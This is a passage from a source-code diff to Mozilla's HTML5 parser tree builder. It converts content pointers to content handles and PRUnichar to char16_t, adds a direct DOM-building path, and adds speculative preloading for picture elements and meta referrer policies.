- InitImage(*url,
- crossOrigin ? *crossOrigin : NullString());
+ InitPictureSource(*srcset,
+ sizes ? *sizes : NullString(),
+ type ? *type : NullString(),
+ media ? *media : NullString());
}
} else if (nsHtml5Atoms::script == aName) {
nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
@@ -95,7 +170,7 @@ nsHtml5TreeBuilder::createElement(int32_t aNamespace, nsIAtom* aName, nsHtml5Htm
(type) ? *type : EmptyString(),
(crossOrigin) ? *crossOrigin : NullString(),
mode == NS_HTML5TREE_BUILDER_IN_HEAD);
- mCurrentHtmlScriptIsAsyncOrDefer =
+ mCurrentHtmlScriptIsAsyncOrDefer =
aAttributes->contains(nsHtml5AttributeName::ATTR_ASYNC) ||
aAttributes->contains(nsHtml5AttributeName::ATTR_DEFER);
}
@@ -118,7 +193,9 @@ nsHtml5TreeBuilder::createElement(int32_t aNamespace, nsIAtom* aName, nsHtml5Htm
} else if (nsHtml5Atoms::video == aName) {
nsString* url = aAttributes->getValue(nsHtml5AttributeName::ATTR_POSTER);
if (url) {
- mSpeculativeLoadQueue.AppendElement()->InitImage(*url, NullString());
+ mSpeculativeLoadQueue.AppendElement()->InitImage(*url, NullString(),
+ NullString(),
+ NullString());
}
} else if (nsHtml5Atoms::style == aName) {
nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
@@ -137,13 +214,24 @@ nsHtml5TreeBuilder::createElement(int32_t aNamespace, nsIAtom* aName, nsHtml5Htm
if (url) {
mSpeculativeLoadQueue.AppendElement()->InitBase(*url);
}
+ } else if (nsHtml5Atoms::meta == aName) {
+ if (nsHtml5Portability::lowerCaseLiteralEqualsIgnoreAsciiCaseString(
+ "referrer",
+ aAttributes->getValue(nsHtml5AttributeName::ATTR_NAME))) {
+ nsString* referrerPolicy = aAttributes->getValue(nsHtml5AttributeName::ATTR_CONTENT);
+ if (referrerPolicy) {
+ mSpeculativeLoadQueue.AppendElement()->InitMetaReferrerPolicy(*referrerPolicy);
+ }
+ }
}
break;
case kNameSpaceID_SVG:
if (nsHtml5Atoms::image == aName) {
nsString* url = aAttributes->getValue(nsHtml5AttributeName::ATTR_XLINK_HREF);
if (url) {
- mSpeculativeLoadQueue.AppendElement()->InitImage(*url, NullString());
+ mSpeculativeLoadQueue.AppendElement()->InitImage(*url, NullString(),
+ NullString(),
+ NullString());
}
} else if (nsHtml5Atoms::script == aName) {
nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
@@ -175,7 +263,7 @@ nsHtml5TreeBuilder::createElement(int32_t aNamespace, nsIAtom* aName, nsHtml5Htm
InitStyle(*url, EmptyString(),
(crossOrigin) ? *crossOrigin : NullString());
}
- }
+ }
break;
}
} else if (aNamespace != kNameSpaceID_MathML) {
@@ -208,7 +296,7 @@ nsHtml5TreeBuilder::createElement(int32_t aNamespace, nsIAtom* aName, nsHtml5Htm
nsString* url = aAttributes->getValue(nsHtml5AttributeName::ATTR_HREF);
if (url) {
mViewSource->AddBase(*url);
- }
+ }
}
}
}
@@ -218,71 +306,176 @@ nsHtml5TreeBuilder::createElement(int32_t aNamespace, nsIAtom* aName, nsHtml5Htm
return content;
}
-nsIContent**
-nsHtml5TreeBuilder::createElement(int32_t aNamespace, nsIAtom* aName, nsHtml5HtmlAttributes* aAttributes, nsIContent** aFormElement)
+nsIContentHandle*
+nsHtml5TreeBuilder::createElement(int32_t aNamespace, nsIAtom* aName,
+ nsHtml5HtmlAttributes* aAttributes,
+ nsIContentHandle* aFormElement,
+ nsIContentHandle* aIntendedParent)
{
- nsIContent** content = createElement(aNamespace, aName, aAttributes);
+ nsIContentHandle* content = createElement(aNamespace, aName, aAttributes,
+ aIntendedParent);
if (aFormElement) {
- nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
- NS_ASSERTION(treeOp, "Tree op allocation failed.");
- treeOp->Init(eTreeOpSetFormElement, content, aFormElement);
+ if (mBuilder) {
+ nsHtml5TreeOperation::SetFormElement(static_cast<nsIContent*>(content),
+ static_cast<nsIContent*>(aFormElement));
+ } else {
+ nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
+ NS_ASSERTION(treeOp, "Tree op allocation failed.");
+ treeOp->Init(eTreeOpSetFormElement, content, aFormElement);
+ }
}
return content;
}
-nsIContent**
+nsIContentHandle*
nsHtml5TreeBuilder::createHtmlElementSetAsRoot(nsHtml5HtmlAttributes* aAttributes)
{
- nsIContent** content = createElement(kNameSpaceID_XHTML, nsHtml5Atoms::html, aAttributes);
- nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
- NS_ASSERTION(treeOp, "Tree op allocation failed.");
- treeOp->Init(eTreeOpAppendToDocument, content);
+ nsIContentHandle* content = createElement(kNameSpaceID_XHTML,
+ nsHtml5Atoms::html,
+ aAttributes,
+ nullptr);
+ if (mBuilder) {
+ nsresult rv = nsHtml5TreeOperation::AppendToDocument(static_cast<nsIContent*>(content),
+ mBuilder);
+ if (NS_FAILED(rv)) {
+ MarkAsBrokenAndRequestSuspension(rv);
+ }
+ } else {
+ nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
+ NS_ASSERTION(treeOp, "Tree op allocation failed.");
+ treeOp->Init(eTreeOpAppendToDocument, content);
+ }
return content;
}
+nsIContentHandle*
+nsHtml5TreeBuilder::createAndInsertFosterParentedElement(int32_t aNamespace, nsIAtom* aName,
+ nsHtml5HtmlAttributes* aAttributes,
+ nsIContentHandle* aFormElement,
+ nsIContentHandle* aTable,
+ nsIContentHandle* aStackParent)
+{
+ NS_PRECONDITION(aTable, "Null table");
+ NS_PRECONDITION(aStackParent, "Null stack parent");
+
+ if (mBuilder) {
+ // Get the foster parent to use as the intended parent when creating
+ // the child element.
+ nsIContent* fosterParent = nsHtml5TreeOperation::GetFosterParent(
+ static_cast<nsIContent*>(aTable),
+ static_cast<nsIContent*>(aStackParent));
+
+ nsIContentHandle* child = createElement(aNamespace, aName, aAttributes,
+ aFormElement, fosterParent);
+
+ insertFosterParentedChild(child, aTable, aStackParent);
+
+ return child;
+ }
+
+ // Tree op to get the foster parent that we use as the intended parent
+ // when creating the child element.
+ nsHtml5TreeOperation* fosterParentTreeOp = mOpQueue.AppendElement();
+ NS_ASSERTION(fosterParentTreeOp, "Tree op allocation failed.");
+ nsIContentHandle* fosterParentHandle = AllocateContentHandle();
+ fosterParentTreeOp->Init(eTreeOpGetFosterParent, aTable,
+ aStackParent, fosterParentHandle);
+
+ // Create the element with the correct intended parent.
+ nsIContentHandle* child = createElement(aNamespace, aName, aAttributes,
+ aFormElement, fosterParentHandle);
+
+ // Insert the child into the foster parent.
+ insertFosterParentedChild(child, aTable, aStackParent);
+
+ return child;
+}
+
void
-nsHtml5TreeBuilder::detachFromParent(nsIContent** aElement)
+nsHtml5TreeBuilder::detachFromParent(nsIContentHandle* aElement)
{
NS_PRECONDITION(aElement, "Null element");
+ if (mBuilder) {
+ nsHtml5TreeOperation::Detach(static_cast<nsIContent*>(aElement),
+ mBuilder);
+ return;
+ }
+
nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
NS_ASSERTION(treeOp, "Tree op allocation failed.");
treeOp->Init(eTreeOpDetach, aElement);
}
void
-nsHtml5TreeBuilder::appendElement(nsIContent** aChild, nsIContent** aParent)
+nsHtml5TreeBuilder::appendElement(nsIContentHandle* aChild, nsIContentHandle* aParent)
{
NS_PRECONDITION(aChild, "Null child");
NS_PRECONDITION(aParent, "Null parent");
if (deepTreeSurrogateParent) {
return;
}
+
+ if (mBuilder) {
+ nsresult rv = nsHtml5TreeOperation::Append(static_cast<nsIContent*>(aChild),
+ static_cast<nsIContent*>(aParent),
+ mBuilder);
+ if (NS_FAILED(rv)) {
+ MarkAsBrokenAndRequestSuspension(rv);
+ }
+ return;
+ }
+
nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
NS_ASSERTION(treeOp, "Tree op allocation failed.");
treeOp->Init(eTreeOpAppend, aChild, aParent);
}
void
-nsHtml5TreeBuilder::appendChildrenToNewParent(nsIContent** aOldParent, nsIContent** aNewParent)
+nsHtml5TreeBuilder::appendChildrenToNewParent(nsIContentHandle* aOldParent, nsIContentHandle* aNewParent)
{
NS_PRECONDITION(aOldParent, "Null old parent");
NS_PRECONDITION(aNewParent, "Null new parent");
+ if (mBuilder) {
+ nsresult rv = nsHtml5TreeOperation::AppendChildrenToNewParent(
+ static_cast<nsIContent*>(aOldParent),
+ static_cast<nsIContent*>(aNewParent),
+ mBuilder);
+ if (NS_FAILED(rv)) {
+ MarkAsBrokenAndRequestSuspension(rv);
+ }
+ return;
+ }
+
nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
NS_ASSERTION(treeOp, "Tree op allocation failed.");
treeOp->Init(eTreeOpAppendChildrenToNewParent, aOldParent, aNewParent);
}
void
-nsHtml5TreeBuilder::insertFosterParentedCharacters(PRUnichar* aBuffer, int32_t aStart, int32_t aLength, nsIContent** aTable, nsIContent** aStackParent)
+nsHtml5TreeBuilder::insertFosterParentedCharacters(char16_t* aBuffer, int32_t aStart, int32_t aLength, nsIContentHandle* aTable, nsIContentHandle* aStackParent)
{
NS_PRECONDITION(aBuffer, "Null buffer");
NS_PRECONDITION(aTable, "Null table");
NS_PRECONDITION(aStackParent, "Null stack parent");
+ MOZ_ASSERT(!aStart, "aStart must always be zero.");
+
+ if (mBuilder) {
+ nsresult rv = nsHtml5TreeOperation::FosterParentText(
+ static_cast<nsIContent*>(aStackParent),
+ aBuffer, // XXX aStart always ignored???
+ aLength,
+ static_cast<nsIContent*>(aTable),
+ mBuilder);
+ if (NS_FAILED(rv)) {
+ MarkAsBrokenAndRequestSuspension(rv);
+ }
+ return;
+ }
- PRUnichar* bufferCopy = new PRUnichar[aLength];
- memcpy(bufferCopy, aBuffer, aLength * sizeof(PRUnichar));
+ char16_t* bufferCopy = new char16_t[aLength];
+ memcpy(bufferCopy, aBuffer, aLength * sizeof(char16_t));
nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
NS_ASSERTION(treeOp, "Tree op allocation failed.");
@@ -290,25 +483,51 @@ nsHtml5TreeBuilder::insertFosterParentedCharacters(PRUnichar* aBuffer, int32_t a
}
void
-nsHtml5TreeBuilder::insertFosterParentedChild(nsIContent** aChild, nsIContent** aTable, nsIContent** aStackParent)
+nsHtml5TreeBuilder::insertFosterParentedChild(nsIContentHandle* aChild, nsIContentHandle* aTable, nsIContentHandle* aStackParent)
{
NS_PRECONDITION(aChild, "Null child");
NS_PRECONDITION(aTable, "Null table");
NS_PRECONDITION(aStackParent, "Null stack parent");
+ if (mBuilder) {
+ nsresult rv = nsHtml5TreeOperation::FosterParent(
+ static_cast<nsIContent*>(aChild),
+ static_cast<nsIContent*>(aStackParent),
+ static_cast<nsIContent*>(aTable),
+ mBuilder);
+ if (NS_FAILED(rv)) {
+ MarkAsBrokenAndRequestSuspension(rv);
+ }
+ return;
+ }
+
nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
NS_ASSERTION(treeOp, "Tree op allocation failed.");
treeOp->Init(eTreeOpFosterParent, aChild, aStackParent, aTable);
}
void
-nsHtml5TreeBuilder::appendCharacters(nsIContent** aParent, PRUnichar* aBuffer, int32_t aStart, int32_t aLength)
+nsHtml5TreeBuilder::appendCharacters(nsIContentHandle* aParent, char16_t* aBuffer, int32_t aStart, int32_t aLength)
{
NS_PRECONDITION(aBuffer, "Null buffer");
NS_PRECONDITION(aParent, "Null parent");
+ MOZ_ASSERT(!aStart, "aStart must always be zero.");
+
+ if (mBuilder) {
+ nsresult rv = nsHtml5TreeOperation::AppendText(
+ aBuffer, // XXX aStart always ignored???
+ aLength,
+ static_cast<nsIContent*>(deepTreeSurrogateParent ?
+ deepTreeSurrogateParent : aParent),
+ mBuilder);
+ if (NS_FAILED(rv)) {
+ MarkAsBrokenAndRequestSuspension(rv);
+ }
+ return;
+ }
- PRUnichar* bufferCopy = new PRUnichar[aLength];
- memcpy(bufferCopy, aBuffer, aLength * sizeof(PRUnichar));
+ char16_t* bufferCopy = new char16_t[aLength];
+ memcpy(bufferCopy, aBuffer, aLength * sizeof(char16_t));
nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
NS_ASSERTION(treeOp, "Tree op allocation failed.");
@@ -317,26 +536,50 @@ nsHtml5TreeBuilder::appendCharacters(nsIContent** aParent, PRUnichar* aBuffer, i
}
void
-nsHtml5TreeBuilder::appendIsindexPrompt(nsIContent** aParent)
+nsHtml5TreeBuilder::appendIsindexPrompt(nsIContentHandle* aParent)
{
NS_PRECONDITION(aParent, "Null parent");
+ if (mBuilder) {
+ nsresult rv = nsHtml5TreeOperation::AppendIsindexPrompt(
+ static_cast<nsIContent*>(aParent),
+ mBuilder);
+ if (NS_FAILED(rv)) {
+ MarkAsBrokenAndRequestSuspension(rv);
+ }
+ return;
+ }
+
nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
NS_ASSERTION(treeOp, "Tree op allocation failed.");
treeOp->Init(eTreeOpAppendIsindexPrompt, aParent);
}
void
-nsHtml5TreeBuilder::appendComment(nsIContent** aParent, PRUnichar* aBuffer, int32_t aStart, int32_t aLength)
+nsHtml5TreeBuilder::appendComment(nsIContentHandle* aParent, char16_t* aBuffer, int32_t aStart, int32_t aLength)
{
NS_PRECONDITION(aBuffer, "Null buffer");
NS_PRECONDITION(aParent, "Null parent");
+ MOZ_ASSERT(!aStart, "aStart must always be zero.");
+
if (deepTreeSurrogateParent) {
return;
}
- PRUnichar* bufferCopy = new PRUnichar[aLength];
- memcpy(bufferCopy, aBuffer, aLength * sizeof(PRUnichar));
+ if (mBuilder) {
+ nsresult rv = nsHtml5TreeOperation::AppendComment(
+ static_cast<nsIContent*>(aParent),
+ aBuffer, // XXX aStart always ignored???
+ aLength,
+ mBuilder);
+ if (NS_FAILED(rv)) {
+ MarkAsBrokenAndRequestSuspension(rv);
+ }
+ return;
+ }
+
+ char16_t* bufferCopy = new char16_t[aLength];
+ memcpy(bufferCopy, aBuffer, aLength * sizeof(char16_t));
nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
NS_ASSERTION(treeOp, "Tree op allocation failed.");
@@ -344,12 +587,24 @@ nsHtml5TreeBuilder::appendComment(nsIContent** aParent, PRUnichar* aBuffer, int3
}
void
-nsHtml5TreeBuilder::appendCommentToDocument(PRUnichar* aBuffer, int32_t aStart, int32_t aLength)
+nsHtml5TreeBuilder::appendCommentToDocument(char16_t* aBuffer, int32_t aStart, int32_t aLength)
{
NS_PRECONDITION(aBuffer, "Null buffer");
+ MOZ_ASSERT(!aStart, "aStart must always be zero.");
+
+ if (mBuilder) {
+ nsresult rv = nsHtml5TreeOperation::AppendCommentToDocument(
+ aBuffer, // XXX aStart always ignored???
+ aLength,
+ mBuilder);
+ if (NS_FAILED(rv)) {
+ MarkAsBrokenAndRequestSuspension(rv);
+ }
+ return;
+ }
- PRUnichar* bufferCopy = new PRUnichar[aLength];
- memcpy(bufferCopy, aBuffer, aLength * sizeof(PRUnichar));
+ char16_t* bufferCopy = new char16_t[aLength];
+ memcpy(bufferCopy, aBuffer, aLength * sizeof(char16_t));
nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
NS_ASSERTION(treeOp, "Tree op allocation failed.");
@@ -357,7 +612,7 @@ nsHtml5TreeBuilder::appendCommentToDocument(PRUnichar* aBuffer, int32_t aStart,
}
void
-nsHtml5TreeBuilder::addAttributesToElement(nsIContent** aElement, nsHtml5HtmlAttributes* aAttributes)
+nsHtml5TreeBuilder::addAttributesToElement(nsIContentHandle* aElement, nsHtml5HtmlAttributes* aAttributes)
{
NS_PRECONDITION(aElement, "Null element");
NS_PRECONDITION(aAttributes, "Null attributes");
@@ -365,16 +620,36 @@ nsHtml5TreeBuilder::addAttributesToElement(nsIContent** aElement, nsHtml5HtmlAtt
if (aAttributes == nsHtml5HtmlAttributes::EMPTY_ATTRIBUTES) {
return;
}
+
+ if (mBuilder) {
+ MOZ_ASSERT(aAttributes == tokenizer->GetAttributes(),
+ "Using attribute other than the tokenizer's to add to body or html.");
+ nsresult rv = nsHtml5TreeOperation::AddAttributes(
+ static_cast<nsIContent*>(aElement),
+ aAttributes,
+ mBuilder);
+ if (NS_FAILED(rv)) {
+ MarkAsBrokenAndRequestSuspension(rv);
+ }
+ return;
+ }
+
nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
NS_ASSERTION(treeOp, "Tree op allocation failed.");
treeOp->Init(aElement, aAttributes);
}
void
-nsHtml5TreeBuilder::markMalformedIfScript(nsIContent** aElement)
+nsHtml5TreeBuilder::markMalformedIfScript(nsIContentHandle* aElement)
{
NS_PRECONDITION(aElement, "Null element");
+ if (mBuilder) {
+ nsHtml5TreeOperation::MarkMalformedIfScript(
+ static_cast<nsIContent*>(aElement));
+ return;
+ }
+
nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
NS_ASSERTION(treeOp, "Tree op allocation failed.");
treeOp->Init(eTreeOpMarkMalformedIfScript, aElement);
@@ -404,6 +679,19 @@ nsHtml5TreeBuilder::appendDoctypeToDocument(nsIAtom* aName, nsString* aPublicId,
{
NS_PRECONDITION(aName, "Null name");
+ if (mBuilder) {
+ nsCOMPtr<nsIAtom> name = nsHtml5TreeOperation::Reget(aName);
+ nsresult rv =
+ nsHtml5TreeOperation::AppendDoctypeToDocument(name,
+ *aPublicId,
+ *aSystemId,
+ mBuilder);
+ if (NS_FAILED(rv)) {
+ MarkAsBrokenAndRequestSuspension(rv);
+ }
+ return;
+ }
+
nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
NS_ASSERTION(treeOp, "Tree op allocation failed.");
treeOp->Init(aName, *aPublicId, *aSystemId);
@@ -412,7 +700,7 @@ nsHtml5TreeBuilder::appendDoctypeToDocument(nsIAtom* aName, nsString* aPublicId,
}
void
-nsHtml5TreeBuilder::elementPushed(int32_t aNamespace, nsIAtom* aName, nsIContent** aElement)
+nsHtml5TreeBuilder::elementPushed(int32_t aNamespace, nsIAtom* aName, nsIContentHandle* aElement)
{
NS_ASSERTION(aNamespace == kNameSpaceID_XHTML || aNamespace == kNameSpaceID_SVG || aNamespace == kNameSpaceID_MathML, "Element isn't HTML, SVG or MathML!");
NS_ASSERTION(aName, "Element doesn't have local name!");
@@ -451,6 +739,10 @@ nsHtml5TreeBuilder::elementPushed(int32_t aNamespace, nsIAtom* aName, nsIContent
return;
}
if (aName == nsHtml5Atoms::body || aName == nsHtml5Atoms::frameset) {
+ if (mBuilder) {
+ // InnerHTML and DOMParser shouldn't start layout anyway
+ return;
+ }
nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
NS_ASSERTION(treeOp, "Tree op allocation failed.");
treeOp->Init(eTreeOpStartLayout);
@@ -458,19 +750,34 @@ nsHtml5TreeBuilder::elementPushed(int32_t aNamespace, nsIAtom* aName, nsIContent
}
if (aName == nsHtml5Atoms::input ||
aName == nsHtml5Atoms::button) {
- mOpQueue.AppendElement()->Init(eTreeOpDoneCreatingElement, aElement);
+ if (mBuilder) {
+ nsHtml5TreeOperation::DoneCreatingElement(static_cast<nsIContent*>(aElement));
+ } else {
+ mOpQueue.AppendElement()->Init(eTreeOpDoneCreatingElement, aElement);
+ }
return;
}
if (aName == nsHtml5Atoms::audio ||
aName == nsHtml5Atoms::video ||
aName == nsHtml5Atoms::menuitem) {
- mOpQueue.AppendElement()->Init(eTreeOpDoneCreatingElement, aElement);
+ if (mBuilder) {
+ nsHtml5TreeOperation::DoneCreatingElement(static_cast<nsIContent*>(aElement));
+ } else {
+ mOpQueue.AppendElement()->Init(eTreeOpDoneCreatingElement, aElement);
+ }
return;
}
+ if (mSpeculativeLoadStage && aName == nsHtml5Atoms::picture) {
+ // mSpeculativeLoadStage is non-null only in the off-the-main-thread
+ // tree builder, which handles the network stream
+ //
+ // See comments in nsHtml5SpeculativeLoad.h about <picture> preloading
+ mSpeculativeLoadQueue.AppendElement()->InitOpenPicture();
+ }
}
void
-nsHtml5TreeBuilder::elementPopped(int32_t aNamespace, nsIAtom* aName, nsIContent** aElement)
+nsHtml5TreeBuilder::elementPopped(int32_t aNamespace, nsIAtom* aName, nsIContentHandle* aElement)
{
NS_ASSERTION(aNamespace == kNameSpaceID_XHTML || aNamespace == kNameSpaceID_SVG || aNamespace == kNameSpaceID_MathML, "Element isn't HTML, SVG or MathML!");
NS_ASSERTION(aName, "Element doesn't have local name!");
@@ -484,9 +791,16 @@ nsHtml5TreeBuilder::elementPopped(int32_t aNamespace, nsIAtom* aName, nsIContent
// we now have only SVG and HTML
if (aName == nsHtml5Atoms::script) {
if (mPreventScriptExecution) {
+ if (mBuilder) {
+ nsHtml5TreeOperation::PreventScriptExecution(static_cast<nsIContent*>(aElement));
+ return;
+ }
mOpQueue.AppendElement()->Init(eTreeOpPreventScriptExecution, aElement);
return;
}
+ if (mBuilder) {
+ return;
+ }
if (mCurrentHtmlScriptIsAsyncOrDefer) {
NS_ASSERTION(aNamespace == kNameSpaceID_XHTML,
"Only HTML scripts may be async/defer.");
@@ -502,7 +816,23 @@ nsHtml5TreeBuilder::elementPopped(int32_t aNamespace, nsIAtom* aName, nsIContent
treeOp->InitScript(aElement);
return;
}
+ if (aName == nsHtml5Atoms::title) {
+ if (mBuilder) {
+ nsHtml5TreeOperation::DoneAddingChildren(static_cast<nsIContent*>(aElement));
+ return;
+ }
+ nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
+ NS_ASSERTION(treeOp, "Tree op allocation failed.");
+ treeOp->Init(eTreeOpDoneAddingChildren, aElement);
+ return;
+ }
if (aName == nsHtml5Atoms::style || (aNamespace == kNameSpaceID_XHTML && aName == nsHtml5Atoms::link)) {
+ if (mBuilder) {
+ MOZ_ASSERT(!nsContentUtils::IsSafeToRunScript(),
+ "Scripts must be blocked.");
+ mBuilder->UpdateStyleSheet(static_cast<nsIContent*>(aElement));
+ return;
+ }
nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
NS_ASSERTION(treeOp, "Tree op allocation failed.");
treeOp->Init(eTreeOpUpdateStyleSheet, aElement);
@@ -510,6 +840,10 @@ nsHtml5TreeBuilder::elementPopped(int32_t aNamespace, nsIAtom* aName, nsIContent
}
if (aNamespace == kNameSpaceID_SVG) {
if (aName == nsHtml5Atoms::svg) {
+ if (mBuilder) {
+ nsHtml5TreeOperation::SvgLoad(static_cast<nsIContent*>(aElement));
+ return;
+ }
nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
NS_ASSERTION(treeOp, "Tree op allocation failed.");
treeOp->Init(eTreeOpSvgLoad, aElement);
@@ -522,41 +856,55 @@ nsHtml5TreeBuilder::elementPopped(int32_t aNamespace, nsIAtom* aName, nsIContent
// XXX expose ElementName group here and do switch
if (aName == nsHtml5Atoms::object ||
aName == nsHtml5Atoms::applet ||
- aName == nsHtml5Atoms::select ||
+ aName == nsHtml5Atoms::select ||
aName == nsHtml5Atoms::textarea ||
- aName == nsHtml5Atoms::title ||
aName == nsHtml5Atoms::output) {
+ if (mBuilder) {
+ nsHtml5TreeOperation::DoneAddingChildren(static_cast<nsIContent*>(aElement));
+ return;
+ }
nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
NS_ASSERTION(treeOp, "Tree op allocation failed.");
treeOp->Init(eTreeOpDoneAddingChildren, aElement);
return;
}
- if (aName == nsHtml5Atoms::meta && !fragment) {
+ if (aName == nsHtml5Atoms::meta && !fragment && !mBuilder) {
nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
NS_ASSERTION(treeOp, "Tree op allocation failed.");
treeOp->Init(eTreeOpProcessMeta, aElement);
return;
}
+ if (mSpeculativeLoadStage && aName == nsHtml5Atoms::picture) {
+ // mSpeculativeLoadStage is non-null only in the off-the-main-thread
+ // tree builder, which handles the network stream
+ //
+ // See comments in nsHtml5SpeculativeLoad.h about <picture> preloading
+ mSpeculativeLoadQueue.AppendElement()->InitEndPicture();
+ }
return;
}
void
-nsHtml5TreeBuilder::accumulateCharacters(const PRUnichar* aBuf, int32_t aStart, int32_t aLength)
+nsHtml5TreeBuilder::accumulateCharacters(const char16_t* aBuf, int32_t aStart, int32_t aLength)
{
int32_t newFillLen = charBufferLen + aLength;
if (newFillLen > charBuffer.length) {
int32_t newAllocLength = newFillLen + (newFillLen >> 1);
- jArray<PRUnichar,int32_t> newBuf = jArray<PRUnichar,int32_t>::newJArray(newAllocLength);
- memcpy(newBuf, charBuffer, sizeof(PRUnichar) * charBufferLen);
+ jArray<char16_t,int32_t> newBuf = jArray<char16_t,int32_t>::newJArray(newAllocLength);
+ memcpy(newBuf, charBuffer, sizeof(char16_t) * charBufferLen);
charBuffer = newBuf;
}
- memcpy(charBuffer + charBufferLen, aBuf + aStart, sizeof(PRUnichar) * aLength);
+ memcpy(charBuffer + charBufferLen, aBuf + aStart, sizeof(char16_t) * aLength);
charBufferLen = newFillLen;
}
-nsIContent**
+nsIContentHandle*
nsHtml5TreeBuilder::AllocateContentHandle()
{
+ if (MOZ_UNLIKELY(mBuilder)) {
+ MOZ_ASSERT_UNREACHABLE("Must never allocate a handle with builder.");
+ return nullptr;
+ }
if (mHandlesUsed == NS_HTML5_TREE_BUILDER_HANDLE_ARRAY_LENGTH) {
mOldHandles.AppendElement(mHandles.forget());
mHandles = new nsIContent*[NS_HTML5_TREE_BUILDER_HANDLE_ARRAY_LENGTH];
@@ -581,6 +929,10 @@ nsHtml5TreeBuilder::HasScript()
bool
nsHtml5TreeBuilder::Flush(bool aDiscretionary)
{
+ if (MOZ_UNLIKELY(mBuilder)) {
+ MOZ_ASSERT_UNREACHABLE("Must never flush with builder.");
+ return false;
+ }
if (!aDiscretionary ||
!(charBufferLen &&
currentPtr >= 0 &&
@@ -607,6 +959,10 @@ nsHtml5TreeBuilder::Flush(bool aDiscretionary)
void
nsHtml5TreeBuilder::FlushLoads()
{
+ if (MOZ_UNLIKELY(mBuilder)) {
+ MOZ_ASSERT_UNREACHABLE("Must never flush loads with builder.");
+ return;
+ }
if (!mSpeculativeLoadQueue.IsEmpty()) {
mSpeculativeLoadStage->MoveSpeculativeLoadsFrom(mSpeculativeLoadQueue);
}
@@ -616,7 +972,9 @@ void
nsHtml5TreeBuilder::SetDocumentCharset(nsACString& aCharset,
int32_t aCharsetSource)
{
- if (mSpeculativeLoadStage) {
+ if (mBuilder) {
+ mBuilder->SetDocumentCharsetAndSource(aCharset, aCharsetSource);
+ } else if (mSpeculativeLoadStage) {
mSpeculativeLoadQueue.AppendElement()->InitSetDocumentCharset(
aCharset, aCharsetSource);
} else {
@@ -628,16 +986,11 @@ nsHtml5TreeBuilder::SetDocumentCharset(nsACString& aCharset,
void
nsHtml5TreeBuilder::StreamEnded()
{
- // The fragment mode calls DidBuildModel from nsHtml5Parser.
- // Letting DidBuildModel be called from the executor in the fragment case
- // confuses the EndLoad logic of nsHTMLDocument, since nsHTMLDocument
- // thinks it is dealing with document.written content as opposed to
- // innerHTML content.
- if (!fragment) {
- nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
- NS_ASSERTION(treeOp, "Tree op allocation failed.");
- treeOp->Init(eTreeOpStreamEnded);
- }
+ MOZ_ASSERT(!mBuilder, "Must not call StreamEnded with builder.");
+ MOZ_ASSERT(!fragment, "Must not parse fragments off the main thread.");
+ nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
+ NS_ASSERTION(treeOp, "Tree op allocation failed.");
+ treeOp->Init(eTreeOpStreamEnded);
}
void
@@ -645,6 +998,10 @@ nsHtml5TreeBuilder::NeedsCharsetSwitchTo(const nsACString& aCharset,
int32_t aCharsetSource,
int32_t aLineNumber)
{
+ if (MOZ_UNLIKELY(mBuilder)) {
+ MOZ_ASSERT_UNREACHABLE("Must never switch charset with builder.");
+ return;
+ }
nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
NS_ASSERTION(treeOp, "Tree op allocation failed.");
treeOp->Init(eTreeOpNeedsCharsetSwitchTo,
@@ -658,12 +1015,20 @@ nsHtml5TreeBuilder::MaybeComplainAboutCharset(const char* aMsgId,
bool aError,
int32_t aLineNumber)
{
+ if (MOZ_UNLIKELY(mBuilder)) {
+ MOZ_ASSERT_UNREACHABLE("Must never complain about charset with builder.");
+ return;
+ }
mOpQueue.AppendElement()->Init(aMsgId, aError, aLineNumber);
}
void
nsHtml5TreeBuilder::AddSnapshotToScript(nsAHtml5TreeBuilderState* aSnapshot, int32_t aLine)
{
+ if (MOZ_UNLIKELY(mBuilder)) {
+ MOZ_ASSERT_UNREACHABLE("Must never use snapshots with builder.");
+ return;
+ }
NS_PRECONDITION(HasScript(), "No script to add a snapshot to!");
NS_PRECONDITION(aSnapshot, "Got null snapshot.");
mOpQueue.ElementAt(mOpQueue.Length() - 1).SetSnapshot(aSnapshot, aLine);
@@ -672,6 +1037,7 @@ nsHtml5TreeBuilder::AddSnapshotToScript(nsAHtml5TreeBuilderState* aSnapshot, int
void
nsHtml5TreeBuilder::DropHandles()
{
+ MOZ_ASSERT(!mBuilder, "Must not drop handles with builder.");
mOldHandles.Clear();
mHandlesUsed = 0;
}
@@ -679,6 +1045,10 @@ nsHtml5TreeBuilder::DropHandles()
void
nsHtml5TreeBuilder::MarkAsBroken(nsresult aRv)
{
+ if (MOZ_UNLIKELY(mBuilder)) {
+ MOZ_ASSERT_UNREACHABLE("Must not call this with builder.");
+ return;
+ }
mOpQueue.Clear(); // Previous ops don't matter anymore
mOpQueue.AppendElement()->Init(aRv);
}
@@ -686,6 +1056,7 @@ nsHtml5TreeBuilder::MarkAsBroken(nsresult aRv)
void
nsHtml5TreeBuilder::StartPlainTextViewSource(const nsAutoString& aTitle)
{
+ MOZ_ASSERT(!mBuilder, "Must not view source with builder.");
